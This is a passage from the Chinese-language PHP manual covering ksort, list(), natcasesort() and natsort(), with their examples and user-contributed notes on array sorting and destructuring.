}

/*ASCENDING SORT*/
array(3) {
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
}
maik dot riechert at animey dot net 12-Aug-2008 11:32
Be careful when using ksort for mixed type keys!!

$a = array(
    'first' => true,
    0       => 'sally',
);

$b = array(
    0       => 'sally',
    'first' => true,
);

ksort($a);
ksort($b);
var_dump($a);
var_dump($b);

Output is:
array(
    0 => 'sally',
    'first' => true,
)

array(
    'first' => true,
    0 => 'sally',
)

If you want same results for both arrays, use:

ksort($a, SORT_STRING);

The reason for that lays in the compare mechanism which would normally just typecast 'first' to an integer or 0 to a string when comparing it to each other. So you have to use SORT_STRING, otherwise you would lose information when 'first' is converted to int.
ssb45 at cornell dot edu 30-Jun-2005 04:58
The function that justin at booleangate dot org provides works well, but be aware that it is not a drop-in replacement for ksort as is.  While ksort sorts the array by reference and returns a status boolean, natksort returns the sorted array, leaving the original untouched.  Thus, you must use this syntax:

$array = natksort($array);

If you want to use the more natural syntax:

$status = natksort($array);

Then use this modified version:

function natksort(&$array) {
    $keys = array_keys($array);
    natcasesort($keys);

    foreach ($keys as $k) {
        $new_array[$k] = $array[$k];
    }

    $array = $new_array;
    return true;
}
justin at booleangate dot org 18-Jan-2005 01:04
Here's a handy function for natural order sorting on keys.

function natksort($array) {
  // Like ksort but uses natural sort instead
  $keys = array_keys($array);
  natsort($keys);

  foreach ($keys as $k)
    $new_array[$k] = $array[$k];

  return $new_array;
}
09-Mar-2002 07:09
here 2 functions to ksort/uksort an array and all its member arrays

function tksort(&$array)
  {
  ksort($array);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      tksort($array[$k]);
      }
    }
  }

function utksort(&$array, $function)
  {
  uksort($array, $function);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      utksort($array[$k], $function);
      }
    }
  }
delvach at mail dot com 06-Nov-2001 01:29
A real quick way to do a case-insensitive sort of an array keyed by strings:

uksort($myArray, "strnatcasecmp");
sbarnum at mac dot com 19-Oct-2001 03:54
ksort on an array with negative integers as keys yields some odd results.  Not sure if this is a bad idea (negative key values) or what.


把数组中的值赋给一组变量

  • ? ksort
  • natcasesort ?
  • PHP Manual
  • 数组 函数
  • 把数组中的值赋给一组变量

list

(PHP 4, PHP 5, PHP 7, PHP 8)

list — 把数组中的值赋给一组变量

说明

list(mixed $var, mixed ...$vars = ?): array

像 array() 一样，这不是真正的函数，而是语言结构。
list() 可以在单次操作内为一组变量赋值。字符串不能解包且
list() 表达式不能完全为空。

Note:

在 PHP 7.1.0 之前的版本，list() 仅能用于数字索引的数组，并假定数字索引从 0 开始。

参数

var

一个变量。

vars

更多变量。

返回值

返回指定的数组。

更新日志

版本 | 说明
7.3.0 | 支持在数组解构时传引用。
7.1.0 | 现在可以指定 list() 中的键。 这就可以解构非数字键或者无顺序的数组。

示例

Example #1 list() 例子

<?php

$info = array('coffee', 'brown', 'caffeine');

// 列出所有变量
list($drink, $color, $power) = $info;
echo "$drink is $color and $power makes it special.\n";

// 列出他们的其中一个
list($drink, , $power) = $info;
echo "$drink has $power.\n";

// 或者让我们跳到仅第三个
list( , , $power) = $info;
echo "I need $power!\n";

// list() 不能对字符串起作用
list($bar) = "abcde";
var_dump($bar); // NULL
?>

Example #2 list() 用法的一个例子

<?php
$result = $pdo->query("SELECT id, name FROM employees");
while (list($id, $name) = $result->fetch(PDO::FETCH_NUM)) {
echo "id: $id, name: $name\n";
}
?>

Example #3 使用嵌套的 list()

<?php

list($a, list($b, $c)) = array(1, array(2, 3));

var_dump($a, $b, $c);

?>
int(1)
int(2)
int(3)

Example #4 list() 和索引顺序定义

list() 使用 array 索引的顺序和它何时定义无关。

<?php
$foo = array(2 => 'a', 'foo' => 'b', 0 => 'c');
$foo[1] = 'd';
list($x, $y, $z) = $foo;
var_dump($foo, $x, $y, $z);

得到以下输出（注意比较 list() 所写的元素顺序）：

array(4) {
  [2]=>
  string(1) "a"
  ["foo"]=>
  string(1) "b"
  [0]=>
  string(1) "c"
  [1]=>
  string(1) "d"
}
string(1) "c"
string(1) "d"
string(1) "a"

Example #5 带键的 list()

从 PHP 7.1.0 开始，list() 可以包含显式的键，可赋值到任意表达式。 可以混合使用数字和字符串键。但是不能混合有键和无键不能混用。

<?php
$data = [
["id" => 1, "name" => 'Tom'],
["id" => 2, "name" => 'Fred'],
];
foreach ($data as ["id" => $id, "name" => $name]) {
echo "id: $id, name: $name\n";
}
echo PHP_EOL;
list(1 => $second, 3 => $fourth) = [1, 2, 3, 4];
echo "$second, $fourth\n";

以上示例会输出：

id: 1, name: Tom
id: 2, name: Fred

2, 4

参见

  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • array() - 新建一个数组
  • extract() - 从数组中将变量导入到当前的符号表

User Contributed Notes

nek dot dev at gmail dot com 27-Dec-2022 10:13
It can be convenient to specify a default value in case an element is missing in the list. You can use operator + for this:

<?php
$someArray = ['color' => 'orange'];
['color' => $color, 'size' => $size] = $someArray + ['color' => null, 'size' => null];
?>

This will avoid the warning `Undefined array key "size"` you would encounter otherwise.
diyor024 at gmail dot com 01-Jul-2021 11:52
Don't miss simple array pattern matching since php 7

<?php

[$a] = ['hello!'];
var_dump($a); // 'hello!'

$arr = [4 => 50];
[4 => $fifty] = $arr;
var_dump($fifty); // 50

$multidimensionalArray = [['id' => 15, 'email' => 'diyor024@gmail.com']];
[['id'  => $id, 'email' => $email]] = $multidimensionalArray;
var_dump($id, $email); // 15 diyor024@gmail.com

?>
samraskul at gmail dot com 27-Feb-2021 08:53
list($a, $b, $c) = ["blue", "money", 32];

shortcut:

[$a, $b, $c] = ["blue", "money", 32];
sergey dot leonidovich dot shevchenko at gmail dot com 12-Feb-2021 01:17
['a' => $x, 'b' => $y] = ['a' => 1, 'b' => 2];

echo $x . '-' . $y; // 1-2
mark at manngo dot net 30-Dec-2020 03:46
For PHP 7.1 on, the documentation states that integer and string keys can be mixed, but that elements with and without keys cannot. Here is an example, using data from getimagesize() with mixed keys:

<?php
    $data=[
        0=> 160,
        1 => 120,
        2 => 2,
        3 => 'width="160" height="120"',
        'mime' => 'image/jpeg'
    ];
    list(0=>$width,1=>$height,2=>$type,3=>$dimensions,'mime'=>$mime)=$data;
?>

Here, the numeric keys also need to be specified, as if the whole array is treated as an associative array.

As noted elsewhere, the list() operator can be written in array format:

<?php
    [0=>$width,1=>$height,2=>$type,3=>$dimensions,'mime'=>$mime]=$data;
?>
fredsaavedra at hotmail dot com 18-Feb-2020 04:03
Easy way to get actual date and time values in variables.

list($day,$month,$year,$hour,$minute,$second) = explode('-',date('d-m-Y-G-i-s'));
echo "$day-$month-$year $hour".":".$minute.":".$second;
vike2000 at gmail dot com 23-Jan-2020 03:49
Setting it like <?php list($var1,$varN) = null ?> does _not_ raise an E_NOTICE (or other error) and afaics effectively equals an https://php.net/function.unset of $var1,$varN.

I note this as contrasting with the fact that PHP triggers an E_NOTICE about "Undefined offset" "if there aren't enough array elements to fill the list()", as attow documented for https://php.net/control-structures.foreach#control-structures.foreach.list and here only noted in https://php.net/function.list#122951 by Mardaneus.

For completeness, a bash(1) (v5.0 or 4.3 on macos10.13) cli test producing the same result for all my PHP-versions (installed via macports.org) follows. It's also tested with php7.3 using bash5.0 on Debian10:
bash --noprofile --norc -c 'for php in php{{53..56},{70..73}};do for literal in "array()" null;do echo -n $php ...=$literal:&&$php -n -d error_reporting=E_ALL -r "var_dump(list(\$var)=$literal);";done;done'

# Above produces the same result pairs per version from:
php53 ...=array():
Notice: Undefined offset: 0 in Command line code on line 1
array(0) {
}
# ... to:
php73 ...=null:NULL
JD 23-Sep-2019 11:24
As of PHP 7.3, lists now support array destructuring - see here: https://www.php.net/manual/en/migration73.new-features.php
Paul Marti 02-Jul-2019 09:45
Since 7.1.0, you can use an array directly without list():

<?php
[$test, $test2] = explode(",", "hello, world");
echo $test . $test2; // hello, world
?>
Mardaneus 17-Jul-2018 08:14
Unless you specify keys when using list() it expects the array being fed into it to start at 0.

So having the following code will result in a notice level warning "Undefined offset: 0" and variables not filling as expected

<?php
list($c1, $c2, $c3) = array [1 =>'a', 2 => 'b', 3 => 'c'];

var_dump($c1); // NULL
var_dump($c2); // string(1) "a"
var_dump($c3); // string(1) "b"

?>
petru at fuxspam dot xtremeweb dot ro 13-Apr-2018 10:11
This is something I haven't seen in documentation.

Since PHP 7.1, you can use short-hand list unpacking using square brackets, just like short-hand array declaration:

<?php

$foo = ['a', 'b', 'c'];

// short-hand array definition
[$a, $b, $c] = $foo;
echo $a; // displays "a"

// it's same like:
list($x, $y, $z) = $foo;
echo $x; // displays "a"

?>
contato at tobias dot ws 28-Mar-2018 07:22
Since PHP 7.1 the [] may now be used as an alternative to the existing list() syntax:

<?php
[$number, $message] = explode('|', '123|Hello World!');
?>
blazej 31-Aug-2017 02:00
From PHP Version 7.1 you can specify keys in list(), or its new shorthand [] syntax. This enables destructuring of arrays with non-integer or non-sequential keys.

<?php
$data = [
    ["id" => 1, "name" => 'Tom'],
    ["id" => 2, "name" => 'Fred'],
];

// list() style
list("id" => $id1, "name" => $name1) = $data[0];

// [] style
["id" => $id1, "name" => $name1] = $data[0];

// list() style
foreach ($data as list("id" => $id, "name" => $name)) {
    // logic here with $id and $name
}

// [] style
foreach ($data as ["id" => $id, "name" => $name]) {
    // logic here with $id and $name
}
grzeniufication 27-May-2017 04:01
<?php
/**
 * It seems you can skip listed values.
 * Here's an example to show what I mean.
 *
 * FYI works just as well with PHP 7.1 shorthand list syntax.
 * Tested against PHP 5.6.30, 7.1.5
 */
$a = [ 1, 2, 3, 4 ];

// this is quite normal use case for list
echo "Unpack all values\n";
list($v1, $v2, $v3, $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

// this is what I mean:
echo "Skip middle\n";
list($v1, , , $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Skip beginning\n";
list( , , $v3, $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Skip end\n";
list($v1, $v2, , ) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Leave middle\n";
list( , $v2, $v3, ) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);
Rhamnia Mohamed 17-May-2017 11:37
Since PHP 7.1, keys can be specified

exemple :
<?php
$array = ['locality' => 'Tunis', 'postal_code' => '1110'];

list('postal_code' => $zipCode, 'locality' => $locality) = $array;

print $zipCode; // will output 1110
print $locality; // will output Tunis
 ?>
carlosv775 at gmail dot com 12-Jan-2017 08:30
In PHP 7.1 we can do the following:

<?php
    [$a, $b, $c] = ['a', 'b', 'c'];
?>

Before, we had to do:

<?php
    list($a, $b, $c) = ['a', 'b',  'c'];
?>
anthony dot ossent at live dot fr 23-Oct-2016 03:04
a simple example of use to swap two variables :

$a = 'hello';
$b = 'world';

list($a, $b) = [$b, $a];

echo $a . ' ' . $b; //display "world hello"

another example :

function getPosition($x, $y, $z)
{
   // ... some operations like $x++...
   return [$x, $y, $z];
}

list($x, $y, $z) = getPosition($x ,$y, $z);
pemapmodder1970 at gmail dot com 05-Feb-2016 04:08
list() can be used with foreach

<?php
$array = [[1, 2], [3, 4], [5, 6]];

foreach($array as list($odd, $even)){
    echo "$odd is odd; $even is even", PHP_EOL;
}
?>

The output:
===
1 is odd; 2 is even
3 is odd; 4 is even
5 is odd; 6 is even
Dean 10-Dec-2015 07:20
UNDOCUMENTED BEHAVIOR:

    list($a,$b,$c) = null;

in fact works like:

    $a = null; $b = null; $c = null;

...So correspondingly:

    list($rows[]) = null;

Will increment count($rows), just as if you had executed $rows[] = null;

Watch out for this (for example) when retrieving entire tables from a database, e.g.

    while (list($rows[]) = $mysqlresult->fetch_row());

This will leave an extra 'null' entry as the last element of $rows.
Colin Guthrie 20-Jul-2015 01:41
If you want use the undefined behaviour as you might expect it e.g. if you want:

  $b = ['a','b']; list($a, $b) = $b;

to result in $a=='a' and $b=='b', then you can just cast $b to an array (even although it already is) to create a copy. e.g.

  $b = ['a','b']; list($a, $b) = (array)$b;

and get the expected results.
grzeniufication 21-Oct-2014 10:35
The example showing that:

$info = array('kawa', 'br?zowa', 'kofeina');
list($a[0], $a[1], $a[2]) = $info;
var_dump($a);

outputs:
array(3) {
[2]=>
string(8) "kofeina"
[1]=>
string(5) "br?zowa"
[0]=>
string(6) "kawa"
}

One thing to note here is that if you define the array earlier, e.g.:
$a = [0, 0, 0];

the indexes will be kept in the correct order:

array(3) {
  [0]=>
  string(4) "kawa"
  [1]=>
  string(8) "br?zowa"
  [2]=>
  string(7) "kofeina"
}

Thought that it was worth mentioning.
john at jbwalker dot com 08-Dec-2013 12:31
The list construct seems to look for a sequential list of indexes rather taking elements in sequence. What that obscure statement means is that if you unset an element, list will not simply jump to the next element and assign that to the variable but will treat the missing element as a null or empty variable:

    $test = array("a","b","c","d");
    unset($test[1]);
    list($a,$b,$c)=$test;
    print "\$a='$a' \$b='$b' \$c='$c'<BR>";

results in:
$a='a' $b='' $c='c'

not:
$a='a' $b='c' $c='d'
megan at voices dot com 10-Sep-2013 03:45
As noted, list() will give an error if the input array is too short. This can be avoided by array_merge()'ing in some default values. For example:

<?php
$parameter = 'name';
list( $a, $b ) = array_merge( explode( '=', $parameter ), array( true ) );
?>

However, you will have to array_merge with an array long enough to ensure there are enough elements (if $parameter is empty, the code above would still error).

An alternate approach would be to use array_pad on the array to ensure its length (if all the defaults you need to add are the same).

<?php
    $parameter = 'bob-12345';
    list( $name, $id, $fav_color, $age ) = array_pad( explode( '-', $parameter ), 4, '' );
    var_dump($name, $id, $fav_color, $age);
/* outputs
string(3) "bob"
string(5) "12345"
string(0) ""
string(0) ""
*/
?>
svennd 23-Dec-2012 07:08
The list() definition won't throw an error if your array is longer then defined list.
<?php

list($a, $b, $c) = array("a", "b", "c", "d");

var_dump($a); // a
var_dump($b); // b
var_dump($c); // c
?>
chris at chlab dot ch 07-Nov-2012 03:00
The example states the following:
<?php
// list() doesn't work with strings
list($bar) = "abcde";
var_dump($bar);
// output: NULL
?>

If the string is in a variable however, it seems using list() will treat the string as an array:
<?php
$string = "abcde";
list($foo) = $string;
var_dump($foo);
// output: string(1) "a"
?>


用“自然排序”算法对数组进行不区分大小写字母的排序

  • ? list
  • natsort ?
  • PHP Manual
  • 数组 函数
  • 用“自然排序”算法对数组进行不区分大小写字母的排序

natcasesort

(PHP 4, PHP 5, PHP 7, PHP 8)

natcasesort — 用"自然排序"算法对数组进行不区分大小写字母的排序

说明

natcasesort(array &$array): true

natcasesort() 是 natsort() 函数的不区分大小写字母的版本。

本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键／值的关联，这被称为"自然排序"。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 natcasesort() 示例

<?php
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

sort($array1);
echo "Standard sorting\n";
print_r($array1);

natcasesort($array2);
echo "\nNatural order sorting (case-insensitive)\n";
print_r($array2);
?>

以上示例会输出：

Standard sorting
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img10.png
    [4] => img12.png
    [5] => img2.png
)

Natural order sorting (case-insensitive)
Array
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

更多信息见 Martin Pool 的 » Natural Order String Comparison 页面。

参见

  • natsort() - 用“自然排序”算法对数组排序
  • 数组排序函数对比
  • strnatcmp() - 使用自然排序算法比较字符串
  • strnatcasecmp() - 使用“自然顺序”算法比较字符串（不区分大小写）

User Contributed Notes

w-dot-rosenbach-at-netskill-de 14-Dec-2010 09:45
Sorting UTF-8 by arbitrary order:

<?php
mb_internal_encoding("UTF-8");

class utf_8_german
{
  // everything else is sorted at the end
  static $order = '0123456789Aa??BbCcDdEeFfGgHhIiJjKkLlMm
NnOo??PpQqRrSs?TtUuüüVvWwXxYyZz';
  static $char2order;

  static function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }

    // lazy init mapping
    if (empty(self::$char2order))
    {
      $order = 1;
      $len = mb_strlen(self::$order);
      for ($order=0; $order<$len; ++$order)
      {
        self::$char2order[mb_substr(self::$order, $order, 1)] = $order;
      }
    }

    $len_a = mb_strlen($a);
    $len_b = mb_strlen($b);
    $max=min($len_a, $len_b);
    for($i=0; $i<$max; ++$i)
    {
      $char_a= mb_substr($a, $i, 1);
      $char_b= mb_substr($b, $i, 1);

      if ($char_a == $char_b) continue;
      $order_a = (isset(self::$char2order[$char_a])) ? self::$char2order[$char_a] : 9999;
      $order_b = (isset(self::$char2order[$char_b])) ? self::$char2order[$char_b] : 9999;

      return ($order_a < $order_b) ? -1 : 1;
    }
    return ($len_a < $len_b) ? -1 : 1;
  }
}

// usage example:

$t = array(
  'Birnen', 'Birne', '?pfel', 'Apfel',
);

uasort($t, 'utf_8_german::cmp');
echo '$t: <pre>'.htmlspecialchars(print_r($t,true),null,'UTF-8').'</pre>';
?>
shawn at shawnwilkerson dot com 05-May-2009 10:03
I kept getting varied results using natcasesort and sort on mixed arrays -- per the descriptions.

Sometimes simple is better:

A little snippet of code:

<?php                        if($responders->num_rows) {
                            $i=0;
                            while($row= $responders->fetch_assoc()) {
                                $user=getUserName($row['responderID']);
                                $r[$i]= array("sortname"=>strtolower($user),"userName"=>$user, "userID"=>$row['responderID'], "responderID"=>$row['idresponders']);
                                $i++;
                            }
                            sort($r);
                            print_r($r);
                        }

?>

I simply created a lower cased sort field at the front of the result set and then sort by it -- which provides the expected result and leaves the actual needed fields unchanged.

For the curious:  all user information is kept completed in another database (and table) from the content database due to security reasons.  The getUser functions we have written allow us to pull only what is legally allowed without exposing anything else.

This is why a left join or something wasn't used and we have to build a pseudo result array here from both databases.
claude at schlesser dot lu 07-Jan-2009 12:41
Here a function that will natural sort an array by keys with keys that contain special characters.

<?php
function natksort($array)
{
    $original_keys_arr = array();
    $original_values_arr = array();
    $clean_keys_arr = array();

    $i = 0;
    foreach ($array AS $key => $value)
    {
        $original_keys_arr[$i] = $key;
        $original_values_arr[$i] = $value;
        $clean_keys_arr[$i] = strtr($key, "??ü??üéèà??éèà?", "AOUaouEEAEeeeac");
        $i++;
    }

    natcasesort($clean_keys_arr);

    $result_arr = array();

    foreach ($clean_keys_arr AS $key => $value)
    {
        $original_key = $original_keys_arr[$key];
        $original_value = $original_values_arr[$key];
        $result_arr[$original_key] = $original_value;
    }

    return $result_arr;
}
?>

Hope it will be useful to somebody :)
vbAlexDOSMan at Yahoo dot com 12-Sep-2003 01:21
Ulli at Stemmeler dot net:  I remade your function -- it's a little more compact now -- Enjoy...

function ignorecasesort(&$array) {

  /*Make each element it's lowercase self plus itself*/
  /*(e.g. "MyWebSite" would become "mywebsiteMyWebSite"*/
  for ($i = 0; $i < sizeof($array); $array[$i] = strtolower($array[$i]).$array[$i], $i++);

  /*Sort it -- only the lowercase versions will be used*/
  sort($array);

  /*Take each array element, cut it in half, and add the latter half to a new array*/
  /*(e.g. "mywebsiteMyWebSite" would become "MyWebSite")*/
  for ($i = 0; $i < sizeof($array); $i++) {
    $this = $array[$i];
    $array[$i] = substr($this, (strlen($this)/2), strlen($this));
  }
}
dslicer at maine dot rr dot com 02-Jun-2003 06:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natcasesort($arr);
$arr = array_values($arr);
tmiller25 at hotmail dot com 25-Apr-2002 07:55
add this loop to the function above if you want items which have the same first characters to be listed in a way that the shorter string comes first.
--------------------
  /* short before longer (e.g. 'abc' should come before 'abcd') */
  for($i=count($array)-1;$i>0;$i--) {
    $str_a = $array[$i  ];
    $str_b = $array[$i-1];
    $cmp_a = strtolower(substr($str_a,0,strlen($str_a)));
    $cmp_b = strtolower(substr($str_b,0,strlen($str_a)));
    if ($cmp_a==$cmp_b && strlen($str_a)<strlen($str_b)) {
      $array[$i]=$str_b; $array[$i-1]=$str_a; $i+=2;
    }
  }
--------------------


用“自然排序”算法对数组排序

  • ? natcasesort
  • next ?
  • PHP Manual
  • 数组 函数
  • 用“自然排序”算法对数组排序

natsort

(PHP 4, PHP 5, PHP 7, PHP 8)

natsort — 用"自然排序"算法对数组排序

说明

natsort(array &$array): true

本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键／值的关联，这被称为"自然排序"。本算法和通常的计算机字符串排序算法（用于 sort()）的区别见下面示例。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的 array。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 natsort() 基本用法的操作示例

<?php
$array1 = $array2 = array("img12.png", "img10.png", "img2.png", "img1.png");

asort($array1);
echo "Standard sorting\n";
print_r($array1);

natsort($array2);
echo "\nNatural order sorting\n";
print_r($array2);
?>

以上示例会输出：

Standard sorting
Array
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
Array
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

更多信息见 Martin Pool 的 » Natural Order String Comparison 页面。

Example #2 natsort() 示例，解释了潜在的陷阱

<?php
echo "Negative numbers\n";
$negative = array('-5','3','-2','0','-1000','9','1');
print_r($negative);
natsort($negative);
print_r($negative);

echo "Zero padding\n";
$zeros = array('09', '8', '10', '009', '011', '0');
print_r($zeros);
natsort($zeros);
print_r($zeros);
?>

以上示例会输出：

Negative numbers
Array
(
    [0] => -5
    [1] => 3
    [2] => -2
    [3] => 0
    [4] => -1000
    [5] => 9
    [6] => 1
)
Array
(
    [2] => -2
    [0] => -5
    [4] => -1000
    [3] => 0
    [6] => 1
    [1] => 3
    [5] => 9
)

Zero padding
Array
(
    [0] => 09
    [1] => 8
    [2] => 10
    [3] => 009
    [4] => 011
    [5] => 0
)
Array
(
    [5] => 0
    [1] => 8
    [3] => 009
    [0] => 09
    [2] => 10
    [4] => 011
)

参见

  • natcasesort() - 用“自然排序”算法对数组进行不区分大小写字母的排序
  • 数组排序函数对比
  • strnatcmp() - 使用自然排序算法比较字符串
  • strnatcasecmp() - 使用“自然顺序”算法比较字符串（不区分大小写）

User Contributed Notes

Malek Mohamed 24-Jun-2018 06:21
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

natsort($array1);
echo "\n natsort(); \n";
print_r($array1);

sort($array2, SORT_NATURAL);
echo "\n sort() with  SORT_NATURAL Option\n";
print_r($array2);

Ouput:

natsort();
Array
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [3] => img2.png
    [2] => img10.png
    [1] => img12.png
)

sort() with  SORT_NATURAL Option
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img2.png
    [4] => img10.png
    [5] => img12.png
)

as we can see it's  the same values but not the same keys, and also it's same for sort($array1, SORT_NATURAL | SORT_FLAG_CASE); and natcasesort($array2)
dotancohen splat gmail spot com 30-May-2017 06:59
As noted in other notes, natsort() does _not_ always return the expected sort order. It seems especially buggy when decimals or 0 padding is used. I've filed this bug report on the issue:
https://bugs.php.net/bug.php?id=74672
bb7b5b9 at gmail dot com 14-Jan-2016 08:07
This made me waste a lot of my precious youth ... natsort() is buggy if all numbers don't have the same number of decimal places.

(php 5.6.4-4ubuntu6.2)

<?php
$different_decimal_places_in_values = array('D'=>'13.59', '14.6' => '14.6', 'C-' => '14.19');
natsort($a);
var_dump($a);

/*echoes
array(3) {
  'D' =>
  string(5) "13.59"
  '14.6' =>
  string(4) "14.6" <----------- badly ordered
  'C-' =>
  string(5) "14.19"
}*/
?>

While this

<?php
$same_num_decimal_places_in_values = array('D'=>'13.59', '14.6' => '14.60', 'C-' => '14.19'); natsort($a); var_dump($a);

/*echoes
array(3) {
  'D' =>
  string(5) "13.59"
  'C-' =>
  string(5) "14.19"
  '14.6' =>
  string(5) "14.60" <--------- that is the correct position
}
*/

?>
mvs dot php at gmail dot com 20-May-2015 10:12
To naturally sort by array key, the uksort function can be used.

<?php

echo "Sort by keys\n";
$smoothie = array('orange' => 1, 'apple' => 1, 'yogurt' => 4, 'banana' => 4);
print_r($smoothie);
uksort( $smoothie, 'strnatcmp');
print_r($smoothie)

?>

Output:

Sort by keys
Array
(
    [orange] => 1
    [apple]  => 1
    [yogurt] => 4
    [banana] => 4
)
Array
(
    [apple]  => 1
    [banana] => 4
    [orange] => 1
    [yogurt] => 4
)

See http://php.net/manual/en/function.uksort.php for more information about uksort and http://php.net/strnatcmp for usage of strnatcmp.
Johan GENNESSON (php at genjo dot fr) 24-Nov-2010 07:18
Be careful of the new behaviour in 5.2.10 version.
See the following sample:

<?php

$array = array('1 bis', '10 ter', '0 PHP', '0', '01', '01 Ver', '0 ', '1 ', '1');

natsort($array);
echo '<pre>';
print_r($array);
echo '</pre>';
?>

5.2.6-1 will output:
Array
(
    [3] => 0
    [6] => 0
    [2] => 0 OP
    [4] => 01
    [5] => 01 Ver
    [8] => 1
    [7] => 1
    [0] => 1 bis
    [1] => 10 ter
)

5.2.10 will output:
Array
(
    [6] => 0
    [3] => 0
    [8] => 1
    [4] => 01
    [7] => 1
    [5] => 01 Ver
    [0] => 1 bis
    [1] => 10 ter
    [2] => 0 OP
)

Greetings
ale152 16-Mar-2009 02:00
Note: negatives number.
<?php
$a = array(-5,-2,3,9);
natsort($a);
print_r($a);
?>
Will output:
Array ( [1] => -2 [0] => -5 [2] => 3 [3] => 9 )
AJenbo 15-Jan-2009 01:33
natsort might not act like you would expect with zero padding, heres a quick sample.

<?php
$array = array('09', '8', '10', '009', '011');
natsort($array);
?>
/*
Array
(
    [3] => 009
    [4] => 011
    [0] => 09
    [1] => 8
    [2] => 10
)
*/
wyvern at greywyvern dot com 17-Dec-2008 10:53
There's no need to include your own API code to natsort an associative array by key.  PHP's in-built functions (other than natsort) can do the job just fine:

<?php
  uksort($myArray, "strnatcmp");
?>
lacent at gmail dot com 16-Jan-2007 09:42
there is another rnatsort function lower on the page, but it didn't work in the context i needed it in.

reasoning for this:
sorting naturally via the keys of an array, but needing to reverse the order.

    function rnatsort ( &$array = array() )
    {
        $keys    = array_keys($array);
        natsort($keys);
        $total    = count($keys) - 1;
        $temp1    = array();
        $temp2     = array();

        // assigning original keys to an array with a backwards set of keys, to use in krsort();
        foreach ( $keys as $key )
        {
            $temp1[$total] = $key;
            --$total;
        }

        ksort($temp1);

        // setting the new array, with the order from the krsort() and the values of original array.
        foreach ( $temp1 as $key )
        {
            $temp2[$key] = $array[$key];
        }

        $array = $temp2;
    }
@gmail bereikme 01-Sep-2006 08:06
Here's a handy function to sort an array on 1 or more columns using natural sort:
<?php
// Example: $records = columnSort($records, array('name', 'asc', 'addres', 'desc', 'city', 'asc'));

$globalMultisortVar = array();
function columnSort($recs, $cols) {
    global $globalMultisortVar;
    $globalMultisortVar = $cols;
    usort($recs, 'multiStrnatcmp');
    return($recs);
}

function multiStrnatcmp($a, $b) {
    global $globalMultisortVar;
    $cols = $globalMultisortVar;
    $i = 0;
    $result = 0;
    while ($result == 0 && $i < count($cols)) {
        $result = ($cols[$i + 1] == 'desc' ? strnatcmp($b[$cols[$i]], $a[$cols[$i]]) : $result = strnatcmp($a[$cols[$i]], $b[$cols[$i]]));
        $i+=2;
    }
    return $result;
}

?>

Greetings,

  - John
h3 22-Feb-2006 08:59
This function can be very usefull, but in some cases, like if you want to sort a MySQL query result, it's important to keep in mind that MySQL as built'in sorting functions which are way faster than resorting the result using a complex php algorythm, especially with large arrays.

ex; 'SELECT * FROM `table` ORDER BY columnName ASC, columnName2 DESC'
lil at thedreamersmaze dot spam-me-not dot org 31-Jan-2006 08:38
There's one little thing missing in this useful bit of code posted by mbirth at webwriters dot de:

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[$key] = $aryInput[$key];
// --------^^^^ add this if you want your keys preserved!
  }
  $aryInput = $aryOut;
}

?>
natcasesort.too 05-Aug-2005 03:17
I got caught out through naive use of this feature - attempting to sort a list of image filenames from a digital camera, where the filenames are leading zero padded (e.g. DSCF0120.jpg) , will not sort correctly.
Maybe the example could be modified to exhibit this behaviour
(e.g. set array to -img0120.jpg','IMG0.png', 'img0012.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png)
If the example hadn't used images I would have coded it correctly first time around!
phpnet at moritz-abraham dot de 02-Sep-2004 02:09
additional to the code posted by justin at redwiredesign dot com (which I found very usefull) here is a function that sorts complex arrays like this:
<?
